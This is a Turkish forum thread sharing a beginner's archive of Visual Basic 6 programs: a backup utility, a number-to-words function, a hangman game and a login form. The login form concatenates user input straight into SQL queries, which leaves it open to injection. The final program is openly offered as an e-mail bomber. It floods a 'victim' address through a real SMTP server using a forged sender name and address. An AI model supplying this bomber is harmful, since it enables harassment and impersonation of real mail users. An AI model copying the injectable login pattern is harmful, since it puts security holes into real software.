visual basic e yeni başlayanlar için küçük program arşivi

Yedekleme Sihirbazı!

General Private Declare Function GetFileSize Lib "KERNEL32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function OpenFile Lib "KERNEL32" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
Private Declare Function CloseHandle Lib "KERNEL32" (ByVal hObject As Long) As Long
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "KERNEL32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

Const OFS_MAXPATHNAME = 128
Const OF_CREATE = &H1000
Const OF_READ = &H0
Const OF_WRITE = &H1
Const BIF_RETURNONLYFSDIRS = 1
Const MAX_PATH = 260

Private Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type


Private Declare Function GetFileSize Lib "KERNEL32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long
Private Declare Function OpenFile Lib "KERNEL32" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long
Private Declare Function CloseHandle Lib "KERNEL32" (ByVal hObject As Long) As Long
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "KERNEL32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

Const OFS_MAXPATHNAME = 128
Const OF_CREATE = &H1000
Const OF_READ = &H0
Const OF_WRITE = &H1
Const BIF_RETURNONLYFSDIRS = 1
Const MAX_PATH = 260

Private Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type



Private Type BrowseInfo
hwndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type

Dim FileSize As Long
Dim action As Byte

Private Function FindDir() As String
On Error GoTo Handler
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo

With udtBI
'Set the owner window
.hwndOwner = Me.hwnd
'lstrcat appends the two strings and returns the memory address
.lpszTitle = lstrcat("C:\", "")
'Return only if the user selected a directory
.ulFlags = BIF_RETURNONLYFSDIRS
End With

'Show the 'Browse for folder' dialog
lpIDList = SHBrowseForFolder(udtBI)
If lpIDList Then
sPath = String$(MAX_PATH, 0)
'Get the path from the IDList
SHGetPathFromIDList lpIDList, sPath
'free the block of memory
CoTaskMemFree lpIDList
iNull = InStr(sPath, vbNullChar)
If iNull Then
sPath = Left$(sPath, iNull - 1)
End If
End If
FindDir = sPath
Exit Function

Handler:
FindDir = ""
End Function

Private Sub cmdBackup_Click()
'This control uses zlib tool for backup purpose
On Error GoTo Handler
Dim handle As Long, lngLong As Long
Dim ofbuf As OFSTRUCT, DrvInfo As DriveInfo
Dim conServer As Connection

action = 0
Set DrvInfo = getDrives(1)
If Me.chkFormat.Value = vbChecked Then
If DrvInfo.DriveLetter = "A:\" Or DrvInfo.DriveLetter = "B:\" Then _
Call FormatDrive(0, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK, Me.hwnd)
End If

Me.ZlibTool1.InputFile = App.Path & "\Database\BengalB.mdb"

If Dir(Me.txtPath, vbDirectory) = "" Then
MsgBox "Invalid Backup Path", vbInformation, "Backup For Tea Manager"
Exit Sub
End If

'Hard disk Backup
Me.ZlibTool1.OutputFile = Me.txtPath & "\" & Format(Date, "d") & Format(Date, "mmm") & Format(Date, "yyyy") & ".Bkp"
Me.ZlibTool1.Compress

handle = OpenFile(Me.ZlibTool1.OutputFile, ofbuf, OF_READ)
FileSize = (GetFileSize(handle, lngLong) / 1024)
CloseHandle (handle)

'Floppy Backup Code
If Me.chkFolppy.Value = vbChecked Then
If DrvInfo.DriveType = Removable Then
If FileSize > ((DrvInfo.DriveSpace.TotalBytes * 10000) / 1024) Then
MsgBox "Floppy Backup Not Possible" & vbCrLf & _
"Backup File Size exceeds Total Size available on the Floppy" & vbCrLf & _
"Also Verify that there is Floppy in the Drive", vbInformation, "Backup Manager"
Exit Sub
ElseIf (FileSize > ((DrvInfo.DriveSpace.TotalFreeBytes * 10000) / 1024)) Then
MsgBox "There is not enough space on the Floppy " & vbCrLf & _
"Try creating space by deleting some items, or" & vbCrLf & _
"Check on Format Floppy to Format It Before taking Backup", vbInformation, "Backup Manager"
Exit Sub
End If

'Me.SProgressBar1.Value = 0
Me.ZlibTool1.OutputFile = DrvInfo.DriveLetter & Format(Date, "d") & Format(Date, "mmm") & Format(Date, "yyyy") & ".Bkp"
Me.ZlibTool1.Compress
Else
MsgBox "No Floppy Drives found on the System" & vbCrLf & _
"Please check that the Floppy Drive is Available" & vbCrLf & _
"Backup Manager is Bypassing Floppy Backup", vbInformation, "Backup Manager"
Exit Sub
End If
End If

'On Error Resume Next
Set conServer = New Connection
With conServer
.Provider = "Microsoft.Jet.OLEDB.3.51"
.ConnectionString = "Data Source=" & App.Path & "\Database\BengalB.mdb"
.Open
End With

conServer.Execute "Update BackupManager SET HardDiskPath='" & Me.txtPath & "', BackupDate='" & Format(Date & " " & Time, "dd/mmm/yyyy HH:MM:SS am/pm") & "'"
conServer.Close
Exit Sub

Handler:
MsgBox Err.Description
'Resume
Exit Sub
End Sub
Private Sub cmdBrowse_Click()
Dim str$
str = FindDir
If Not Len(str) = 0 Then
Me.txtPath = str
End If
End Sub

Private Sub cmdRestore_Click()
Dim strSPath, strTPath

action = 1
cmDlg.Filter = "Backup Files | *.bkp"
If Len(Me.txtPath) > 0 Then cmDlg.InitDir = Me.txtPath
cmDlg.DialogTitle = "Restore Database From Backup"
cmDlg.ShowOpen

strSPath = cmDlg.FileName
strTPath = FindDir

ZlibTool1.InputFile = strSPath
ZlibTool1.OutputFile = strTPath & "\BengalB.mdb"
ZlibTool1.Decompress
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim OF As OFSTRUCT, lngHandle As Long, lngLong As Long

Me.txtBkDate = LookField("BackUpDate", "BackupManager", "", "None")
If IsDate(Me.txtBkDate) Then _
Me.txtBkDate = Format(Me.txtBkDate, "dd/mmm/yyyy HH:MM am/pm")

Me.txtPath = LookField("HardDiskPath", "BackupManager", "", "")
lngHandle = OpenFile(App.Path & "\Database\BengalB.mdb", OF, OF_READ)
Me.txtSize = str$(((GetFileSize(lngHandle, lngLong) / 1024) * 0.19)) & " KB"
CloseHandle (lngHandle)
End Sub

Private Sub ZlibTool1_Progress(ByVal percent_complete As Integer)
On Error Resume Next
Me.lblInfo.Caption = IIf(action = 0, "Taking Backup ", "Restoring Backup ") & "(" & percent_complete & "% Done)"
End Sub

Public Function LookField(FieldName$, Table$, Cond$, Optional OnErrVal = 0)
On Error GoTo Handler
Dim rst As Recordset
Dim conServer As Connection

Set conServer = New Connection
With conServer
.Provider = "Microsoft.Jet.OLEDB.3.51"
.ConnectionString = "Data Source=" & App.Path & "\Database\BengalB.mdb"
.Open
End With

Set rst = New Recordset
With rst
.ActiveConnection = conServer
.CursorType = adOpenStatic
.LockType = adLockReadOnly

.Open "SELECT " & FieldName & " FROM " & Table & IIf(Len(Cond) > 0, " WHERE " & Cond, "")
End With

If getRowsOk(rst) Then
rst.MoveFirst
LookField = rst.Fields(0)
Else
LookField = OnErrVal
End If

Exit Function
Handler:
LookField = OnErrVal
End Function

Public Function getRowsOk(ByVal rst As Recordset) As Boolean
On Error GoTo Handler
Dim varData
rst.MoveFirst
varData = rst.GetRows(1)
getRowsOk = True
Exit Function

Handler:
getRowsOk = False
Exit Function
End Function




Modül-1


Private Declare Function GetDiskFreeSpaceEx Lib "KERNEL32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPathName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long
Private Declare Function GetLogicalDrives Lib "KERNEL32" () As Long
Private Declare Function GetVolumeInformation Lib "KERNEL32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function GetDriveType Lib "KERNEL32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SHFormatDrive Lib "shell32" (ByVal hwndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long


Public Enum DriveTypeEnum
Removable = 2
FixedDrive = 3
Remote = 4
CDDrive = 5
RamDisk = 6
Unreconized = 0
End Enum

Public Enum FormatCapacityEnum
SHFD_CAPACITY_DEFAULT = 0 ' default drive capacity
SHFD_CAPACITY_360 = 3 ' 360KB, applies to 5.25" drives only
SHFD_CAPACITY_720 = 5 ' 720KB, applies to 3.5" drives only
End Enum

Public Enum FormatTypeEnum
SHFD_FORMAT_QUICK = 0 ' quick format
SHFD_FORMAT_FULL = 1 ' full format
SHFD_FORMAT_SYSONLY = 2 ' copies system files only (Win95 Only!)
End Enum

Public Function ListDrives() As Collection
On Error GoTo Handler
LDs = GetLogicalDrives

Set ListDrives = New Collection
For cnt = 0 To 25
If (LDs And 2 ^ cnt) <> 0 Then
ListDrives.Add Chr$(65 + cnt) & ":\"
End If
Next cnt


Exit Function

Handler:

Set ListDrives = Nothing
Exit Function
End Function

Public Function GetVolumeInfo(DriveName As String) As VolumeInfo
On Error Resume Next
Dim Serial As Long, VName As String, FSName As String
'Create buffers
VName = String$(255, Chr$(0))
FSName = String$(255, Chr$(0))
'Get the volume information
GetVolumeInformation DriveName, VName, 255, Serial, 0, 0, FSName, 255
'Strip the extra chr$(0)'s
VName = Left$(VName, InStr(1, VName, Chr$(0)) - 1)
FSName = Left$(FSName, InStr(1, FSName, Chr$(0)) - 1)
Set GetVolumeInfo = New VolumeInfo
With GetVolumeInfo
.FileSystem = FSName
.SerialNo = Serial
.VolumeName = VName
End With
End Function

Public Function getDriveSpace(DriveName As String) As DriveSpaceInfo
Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency
Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency
'get the drive's disk parameters
Call GetDiskFreeSpaceEx(DriveName, BytesFreeToCalller, TotalBytes, TotalFreeBytes)
'show the results, multiplying the returned
'value by 10000 to adjust for the 4 decimal
'places that the currency data type returns.
Set getDriveSpace = New DriveSpaceInfo
getDriveSpace.TotalBytes = TotalBytes
getDriveSpace.TotalFreeBytes = TotalFreeBytes
getDriveSpace.BytesFreeToCaller = BytesFreeToCalller
getDriveSpace.TotalBytesUsed = (TotalBytes - TotalFreeBytes)
End Function

Public Function GetDriveTypes(DriveName As String) As DriveTypeEnum
GetDriveTypes = GetDriveType(DriveName)
End Function

Public Function getDriveInfo(DriveName As String) As DriveInfo
Set getDriveInfo = New DriveInfo
With getDriveInfo
Set .DriveSpace = getDriveSpace(DriveName)
.DriveType = GetDriveTypes(DriveName)
Set .DriveVolume = GetVolumeInfo(DriveName)
End With
End Function

Public Function getDrives() As Collection
Dim count As Integer
Dim DriveList As Collection
Dim drInfo As DriveInfo

Set DriveList = ListDrives
Set getDrives = New Collection
For count = 1 To DriveList.count
Set drInfo = getDriveInfo(CStr(DriveList.Item(count)))
drInfo.DriveNumber = count
drInfo.DriveLetter = CStr(DriveList(count))
getDrives.Add drInfo, CStr(DriveList(count))
Next
End Function

Public Sub FormatDrive(DriveNumber As Integer, FormatCapacity As FormatCapacityEnum, FormatType As FormatTypeEnum, hwnd As Long)
SHFormatDrive hwnd, DriveNumber, FormatCapacity, FormatType
End Sub




Class modül
İçerisindeki birinci modüle eklenecek kodlar

Modül-1
Public DriveSpace As DriveSpaceInfo
Public DriveType As DriveTypeEnum
Public DriveVolume As VolumeInfo
Public DriveNumber As Integer
Public DriveLetter As String


Modül-2
ublic BytesFreeToCaller As Currency
Public TotalBytes As Currency
Public TotalFreeBytes As Currency
Public TotalBytesUsed As Currency

Modül-3
Public SerialNo As Long
Public VolumeName As String
Public FileSystem As String
 
basit bir sayi okuma programi::::


Public Function SayiOku(ByVal Sayi As String, Optional ByVal Bosluk As Byte) As String
' girilen 36 basamaklı sayının okunuşunu döndürür
Dim Basamak(2) As Byte, Birler As String, Yuzler As String, Boluk As String, UBSayi As String, UBSayiOkunusu As String
Birler = " bir iki üç dört beş altı yedi sekizdokuz"
Sayi = String$(36 - Len(Left$(Sayi, 36)), "0") & Left$(Sayi, 36)
For i = 0 To 11
UBSayi = Mid$(Sayi, 3 * i + 1, 3): UBSayiOkunusu = ""
If (i <> 10 Or UBSayi <> "001") And UBSayi <> "000" Then
For j = 0 To 2: Basamak(j) = Val(Mid(UBSayi, j + 1, 1)): Next
Yuzler = ""
If Basamak(0) = 1 Then
Yuzler = Space(Bosluk) & "yüz"
ElseIf Basamak(0) > 1 Then
Yuzler = RTrim$(Space(Bosluk) & Mid$(Birler, 5 * Basamak(0) + 1, 5)) & Space(Bosluk) & "yüz"
End If
UBSayiOkunusu = Yuzler & RTrim$(Space(Bosluk) & Mid$(" on yirmi otuz kırk elli altmışyetmişseksendoksan", 6 * Basamak(1) + 1, 6)) & RTrim$(Space(Bosluk) & Mid$(Birler, 5 * Basamak(2) + 1, 5))
End If
If UBSayi = "000" Then Boluk = "" Else Boluk = RTrim$(Space(Bosluk) & Mid$("desilyon nonilyon oktilyon septilyon sekstilyonkentilyon katrilyon trilyon milyar milyon bin ", 10 * i + 1, 10)) ' sekstilyon yerine hekstilyon da kullanılabilir.
SayiOku = LTrim$(SayiOku & UBSayiOkunusu & Boluk)
Next
End Function
 
Hoş bir adam asmaca oyunu

Nesneler:
'Command3 un adını buton olarak değiştirin ve index ini 0 yapın
'Label1
'Command1
'Command2
'List1
'9 adet Line
'Shape1



Dim kelime(100), gorunen(100), kelime2, adam

Private Sub buton_Click(Index As Integer)
Dim say, k, sonuc, a
sonuc = 0

'butondaki harf varmı?

For say = 0 To Len(kelime2) - 1
If kelime(say) = buton(Index).Caption Then
gorunen(say) = " " & buton(Index).Caption & " "
sonuc = 1
'varsa onayla
End If
Next

For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k

If sonuc = 0 Then
adam = Val(adam) + 1
adamiciz (adam)
'kullanıcı yanlış harfe tıkladıysa adamı çiz
Else

'kullanıcı doğru harfe tıkladıysa

'oyunu bitirip bitirmediğini kontrol et
a = InStr(1, Label1, "_")
If a = 0 Then
For say = 0 To 28
buton(say).Enabled = False
Next
MsgBox "Tebrikler! Kazandınız...", vbInformation, "Bitti"
End If

End If

'butonu pasif yap
buton(Index).Enabled = False
End Sub

Private Sub Command1_Click()
Dim say, harf, r
'yeni oyun için rasgele kelime seçiyoruz

Randomize
r = Int(Rnd * (List1.ListCount - 1))
kelime2 = List1.List(r)


Label1 = ""

'butonları aktif yap
For say = 0 To 28
buton(say).Enabled = True
Next

'Adamı sil
adam = 0
Line1.Visible = False
Line2.Visible = False
Line3.Visible = False
Line4.Visible = False
Shape1.Visible = False
Line5.Visible = False
Line6.Visible = False
Line7.Visible = False
Line8.Visible = False
Line9.Visible = False

'değişkenleri sıfırla
For say = 0 To 100
kelime(say) = ""
gorunen(say) = " _ "
Next

'değişkelnlere kelimeyi harf harf ata
For say = 0 To Len(kelime2) - 1
harf = Mid(kelime2, say + 1, 1)
kelime(say) = kelime(say) & harf
Label1 = Label1 & " _ "
Next

'*****************
'boşluk varmı?

For say = 0 To Len(kelime2) - 1
If kelime(say) = " " Then
gorunen(say) = " " & " " & " "
End If
Next

For say = 0 To Len(kelime2) - 1
k = k & gorunen(say)
'sonucu kullanıcıya göster
Next
Label1 = k

End Sub

Private Sub Command2_Click()
'çıkış
Unload Me
End Sub

Private Sub Form_Load()

'Nesneler yerlestirliyor....
Form1.Caption = "Adam Asmaca V1.0 - OKTAYYAZILIM"
Form1.Width = 7755
Form1.Height = 4605

List1.Visible = False

buton(0).Left = 120
buton(0).Top = 120
buton(0).Height = 375
buton(0).Width = 255
buton(0).FontBold = True
buton(0).Enabled = False

Label1.FontBold = True
Label1.FontSize = 10
Label1.Alignment = 2
Label1.Left = 120
Label1.Top = 840
Label1.Width = 7335
Label1.Height = 735
Label1 = ""

Command1.Left = 240
Command1.Top = 1920
Command1.Width = 2775
Command1.Height = 735
Command1.Caption = "Yeni Oyun"

Command2.Left = 240
Command2.Top = 2880
Command2.Width = 2775
Command2.Height = 735
Command2.Caption = "Çıkış"

Shape1.Shape = 3
Shape1.Left = 5520
Shape1.Top = 2040
Shape1.BorderWidth = 3
Shape1.Visible = False

Line1.BorderWidth = 4
Line1.Visible = False
Line1.X1 = 6360
Line1.X2 = 7320
Line1.Y1 = 4080
Line1.Y2 = 4080

Line2.BorderWidth = 4
Line2.Visible = False
Line2.X1 = 6840
Line2.X2 = 6840
Line2.Y1 = 1800
Line2.Y2 = 4080

Line3.BorderWidth = 4
Line3.Visible = False
Line3.X1 = 6840
Line3.X2 = 5760
Line3.Y1 = 1800
Line3.Y2 = 1800

Line4.BorderWidth = 4
Line4.Visible = False
Line4.X1 = 5760
Line4.X2 = 5760
Line4.Y1 = 1800
Line4.Y2 = 2040

Line5.BorderWidth = 4
Line5.Visible = False
Line5.X1 = 5760
Line5.X2 = 5760
Line5.Y1 = 2400
Line5.Y2 = 3240

Line6.BorderWidth = 4
Line6.Visible = False
Line6.X1 = 5760
Line6.X2 = 5280
Line6.Y1 = 2520
Line6.Y2 = 2760

Line7.BorderWidth = 4
Line7.Visible = False
Line7.X1 = 5760
Line7.X2 = 6240
Line7.Y1 = 2520
Line7.Y2 = 2760

Line8.BorderWidth = 4
Line8.Visible = False
Line8.X1 = 5760
Line8.X2 = 5400
Line8.Y1 = 3240
Line8.Y2 = 3600

Line9.BorderWidth = 4
Line9.Visible = False
Line9.X1 = 5760
Line9.X2 = 6240
Line9.Y1 = 3240
Line9.Y2 = 3600








'butonlar kopyalanıyor...

Dim say
For say = 1 To 28
Load buton(say)
buton(say).Visible = True
buton(say).Left = buton(say - 1).Left + 255
buton(say).Enabled = False
Next

'Türkçe alfabe için harfleri tek tek yerleştiriyoruz

buton(0).Caption = "A"
buton(1).Caption = "B"
buton(2).Caption = "C"
buton(3).Caption = "Ç"
buton(4).Caption = "D"
buton(5).Caption = "E"
buton(6).Caption = "F"
buton(7).Caption = "G"
buton(8).Caption = "Ğ"
buton(9).Caption = "H"
buton(10).Caption = "I"
buton(11).Caption = "İ"
buton(12).Caption = "J"
buton(13).Caption = "K"
buton(14).Caption = "L"
buton(15).Caption = "M"
buton(16).Caption = "N"
buton(17).Caption = "O"
buton(18).Caption = "Ö"
buton(19).Caption = "P"
buton(20).Caption = "R"
buton(21).Caption = "S"
buton(22).Caption = "Ş"
buton(23).Caption = "T"
buton(24).Caption = "U"
buton(25).Caption = "Ü"
buton(26).Caption = "V"
buton(27).Caption = "Y"
buton(28).Caption = "Z"

' aşağıdaki kelime ve cümleler örnek amaçlı eklenmiştir
'siz kelime.txt dosyası oluşturun ve kelimeleri onun içine yazın.

List1.AddItem "ADANA"
List1.AddItem "ADIYAMAN"
List1.AddItem "AFYON"
List1.AddItem "AĞRI"
List1.AddItem "AMASYA"
List1.AddItem "ANKARA"
List1.AddItem "ANTALYA"
List1.AddItem "ARTVİN"
List1.AddItem "AYDIN"
List1.AddItem "BALIKESİR"
List1.AddItem "BİLECİK"
List1.AddItem "BİNGÖL"
List1.AddItem "BİTLİS"
List1.AddItem "BOLU"
List1.AddItem "BURDUR"
List1.AddItem "BURSA"
List1.AddItem "ÇANAKKALE"
List1.AddItem "ÇANKIRI"
List1.AddItem "ÇORUM"
List1.AddItem "DENİZLİ"
List1.AddItem "DİYARBAKIR"
List1.AddItem "EDİRNE"
List1.AddItem "ELAZIĞ"
List1.AddItem "ERZİNCAN"
List1.AddItem "ERZURUM"
List1.AddItem "ESKİŞEHİR"
List1.AddItem "GAZİANTEP"
List1.AddItem "GİRESUN"
List1.AddItem "GÜMÜŞHANE"
List1.AddItem "HAKKARİ"
List1.AddItem "HATAY"
List1.AddItem "ISPARTA"
List1.AddItem "İÇEL"
List1.AddItem "İSTANBUL"
List1.AddItem "İZMİR"
List1.AddItem "KARS"
List1.AddItem "KASTAMONU"
List1.AddItem "KAYSERİ"
List1.AddItem "KIRKLARELİ"
List1.AddItem "KIRŞEHİR"
List1.AddItem "KOCAELİ"
List1.AddItem "KONYA"
List1.AddItem "KÜTAHYA"
List1.AddItem "MALATYA"
List1.AddItem "MANİSA"
List1.AddItem "KAHRAMANMARAŞ"
List1.AddItem "MARDİN"
List1.AddItem "MUĞLA"
List1.AddItem "MUŞ"
List1.AddItem "NEVŞEHİR"
List1.AddItem "NİĞDE"
List1.AddItem "ORDU"
List1.AddItem "RİZE"
List1.AddItem "SAKARYA"
List1.AddItem "SAMSUN"
List1.AddItem "SİİRT"
List1.AddItem "SİNOP"
List1.AddItem "SİVAS"
List1.AddItem "TEKİRDAĞ"
List1.AddItem "TOKAT"
List1.AddItem "TRABZON"
List1.AddItem "TUNCELİ"
List1.AddItem "ŞANLIURFA"
List1.AddItem "UŞAK"
List1.AddItem "VAN"
List1.AddItem "YOZGAT"
List1.AddItem "ZONGULDAK"
List1.AddItem "AKSARAY"
List1.AddItem "BAYBURT"
List1.AddItem "KARAMAN"
List1.AddItem "KIRIKKALE"
List1.AddItem "BATMAN"
List1.AddItem "ŞIRNAK"
List1.AddItem "BARTIN"
List1.AddItem "ARDAHAN"
List1.AddItem "IĞDIR"
List1.AddItem "YALOVA"
List1.AddItem "KARABÜK"
List1.AddItem "KİLİS"
List1.AddItem "OSMANİYE"
List1.AddItem "DÜZCE"
List1.AddItem "MERSİN"
List1.AddItem "URFA"





'kelime.txt dosyasından kelimeleri okuyoruz
'kelime eklemek için dosyayı açın ve kelimeyi büyük harfle
'tırnak içinde alt alta yazın kelimede yabancı
'harfler olmamalı cumlede eklenebilir

Dim dosya, okunan
dosya = App.Path & "\kelime.txt"
If Dir(dosya) <> "" Then
Open (dosya) For Input As #1
While Not EOF(1)
Input #1, okunan
List1.AddItem okunan
Wend
Close #1
End If





End Sub


Private Sub adamiciz(sayi As Integer)
'adamı çiz
Select Case sayi
Case 1: Line1.Visible = True
Case 2: Line2.Visible = True
Case 3: Line3.Visible = True
Case 4: Line4.Visible = True
Case 5: Shape1.Visible = True
Case 6: Line5.Visible = True
Case 7: Line6.Visible = True
Case 8: Line7.Visible = True
Case 9: Line8.Visible = True
Case 10:
Line9.Visible = True
'adam tamamen çizildiyse oyunu bitir
Dim say
For say = 0 To 28
buton(say).Enabled = False
Next
Label1 = ""
For say = 0 To Len(kelime2)
Label1 = Label1 & " " & kelime(say) & " "
Next
MsgBox "Kaybettiniz...", vbExclamation, "Bitti"

End Select


End Sub


Private Sub Form_Unload(Cancel As Integer)
End
End Sub
 
formumuza iki tane textbox ve bir tanade combobox koyuyoruz.kullanıcı adı ve şifre textbox larını belirlemek için de iki tane label koyuyoruz.Veri tabanı oluşturuyoruz.Daha sonra da kullanıcı adı ve şifre tanımlayabiliriz.Admin ve user olarak giriş yapılabilir admin e herşey serbestken user girişine daha sonra gelecek form da kısıtlamalar getirebiliriz.Ben yayın takip programı yapıyorum veörnek olması için User olarak girişte PERSONEL VE YAYIN butonlarını pasif hale getirdim "

Dim Table
Table = Combo1.Text
If Table = "USER" Then
Data1.RecordSource = ("select * from userx where USERNAME = '" & Text1(0).Text & "' and PASSWORD = '" & Text1(1).Text & "'")
Data1.Refresh
If Data1.Recordset.RecordCount < 1 Then
MsgBox "Yanlış Kullanıcı Adı veya Şifre lütfen tekrar deneyin", vbCritical, "Kullanıcı Adı veya Şifre hatası!"
Text1(0).SetFocus
Exit Sub
Else
End If
If Text1(0).Text = "" Or Text1(1).Text = "" Then
MsgBox "Yanlış Kullanıcı Adı veya Şifre lütfen tekrar deneyin", vbCritical, "Kullanıcı Adı veya Şifre hatası!"

Text1(0).SetFocus
Exit Sub
Else

Unload Form2
Load Form1
Form1.Show
Form1.PERSONEL.Enabled = False
Form1.YAYIN.Enabled = False
Form1.Command1.Enabled = False

End If

Else
If Table = "ADMIN" Then
Data1.RecordSource = ("select * from admin where USERNAME = '" & Text1(0).Text & "' and PASSWORD = '" & Text1(1).Text & "'")
Data1.Refresh
If Data1.Recordset.RecordCount < 1 Then
MsgBox "Yanlış Kullanıcı Adı veya Şifre lütfen tekrar deneyin", vbCritical, "Kullanıcı Adı veya Şifre hatası!"

Text1(0).SetFocus
Exit Sub
Else
End If
If Text1(0).Text = "" Or Text1(1).Text = "" Then
MsgBox "Yanlış Kullanıcı Adı veya Şifre lütfen tekrar deneyin", vbCritical, "Kullanıcı Adı veya Şifre hatası!"
Text1(0).SetFocus
Exit Sub
Else

Unload Form2
Load Form1
Form1.Show

End If
End If
End If
End Sub

Private Sub Form_Load()
Data1.DatabaseName = App.Path + "\YAYINEVİ.mdb"
End Sub
 
kullanışlı bir e-mail bomber aynızamanda istediğiniz e-mail adını kullanarak e-mail gönderebilirsiniz

Yeni bir proje için boş bir forumun üzerinde 3 tane buton olsun’
’Command1 (Caption=Bağlan)
’Command2 (Caption=Bağlantıyı kes)
’Command3 (Caption=Bombala)

’ bir tane timer1 ekleyin
' birde winsock ekleyin(adını soket)koyun
'durumu belirtmek içinde bir tane label(adını durum) koyun ve projenize alttaki kodları kopyalayın


’sonrada 7 tanede TextBox koyun

’Text1 (Gözükecek Mail)
’Text2 (Gözükecek Ad)
’Text3 (Kime)
’Text4 (İsim)
’Text5 (Adet)
’Text7 (Mesaj)
’Text6 (Konu)


Dim Adet As Long
Private Sub Command1_Click()
soket.Close
soket.Connect "mail.koc.net", "25"
durum.Caption = "Durum : Aktif Mail Server ’ a Bağlanıyor"
End Sub
Private Sub Command2_Click()
soket.Close
End Sub
Private Sub Command3_Click()
If InStr(1, Text1, "@") = 0 Then
MsgBox "Gönderenin mail adresinde @ karakteri bulunamadı", vbInformation, "Uyarı"
Exit Sub
End If
If InStr(1, Text3, "@") = 0 Then
MsgBox "Kurbanın mail adresinde @ karakteri bulunamadı", vbInformation, "Uyarı"
Exit Sub
End If
If Command3.Caption = "Bo&mbala" Then
If KontrolEt = True Then
Timer1.Enabled = True
Else
Timer1.Enabled = False
MsgBox "Eksik Bilgi Girdiniz", vbInformation, "Uyarı"
Exit Sub
End If
Command3.Caption = "&Durdur"
Else
Command3.Caption = "Bo&mbala"
Timer1.Enabled = False
End If
End Sub
Private Sub soket_Connect()
durum.Caption = "Durum : Aktif Mail Server ’ a Bağlanıldı"
Command3.Enabled = True
End Sub
Private Sub soket_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
durum.Caption = "Hata Oluştu : " & Description
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 32
KeyAscii = 0
End Select
End Sub
Private Sub Text3_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 32
KeyAscii = 0
End Select
End Sub
Function KontrolEt() As Boolean
If Text1.Text <> "" And Text2.Text <> "" And Text3.Text <> "" _
And Text4.Text <> "" And Text5.Text <> "" And _
Text6.Text <> "" And Text7.Text <> "" Then
KontrolEt = True
Else
KontrolEt = False
End If
End Function
Private Sub Text5_KeyPress(KeyAscii As Integer)
Select Case KeyAscii
Case 48 To 57
Case 8
Case Else
KeyAscii = 0
End Select
End Sub
Private Sub Timer1_Timer()
If Adet < Val(Text5.Text) Then
Adet = Adet + 1
soket.SendData "MAIL FROM:[email protected] " & vbCrLf
soket.SendData "RCPT TO:" & Text3.Text & vbCrLf
soket.SendData "DATA" & vbCrLf
soket.SendData "DATE: " & Format(Now, "h:mm:ss") & vbCrLf
soket.SendData "FROM: " & Text2.Text & " <" & Text1.Text & ">" & vbCrLf
soket.SendData "TO: " & Text4.Text & " <" & Text3.Text & "> " & vbCrLf
soket.SendData "REPLY-TO: <" & Text1.Text & "> " & vbCrLf
soket.SendData "SUBJECT: " & Text7.Text & vbCrLf
soket.SendData "MIME-Version: 1.0" & vbCrLf
soket.SendData "Content-Type: text/plain; charset=us-ascii" & vbCrLf
soket.SendData vbCrLf
soket.SendData Text6.Text & vbCrLf
soket.SendData vbCrLf
soket.SendData "." & vbCrLf
durum.Caption = "Bombalanan : " & Adet
Else
Timer1.Enabled = False
Adet = 0
Command3.Caption = "Bo&mbala"
End If
End Sub
 
saolasın...bir sorum olacak....bunu denedinmi....bu arada gerçekten elindekileri paylaşıma açtığın için teşekkürler.
 
gogo' Alıntı:
saolasın...bir sorum olacak....bunu denedinmi....bu arada gerçekten elindekileri paylaşıma açtığın için teşekkürler.
Dostum sayfalarda arada bi yerde yazdım mı bilmiyorum..
hepsini denemedim ama % 85 i elimden geçti.. hatta editlendi tarafımdan...
 
animation kontrolünü nasıl eklerim?
 
Paylaşımların için çok çok saollllll
 
Ellerine Sağlık Arkadaşım
 
Geri
Üst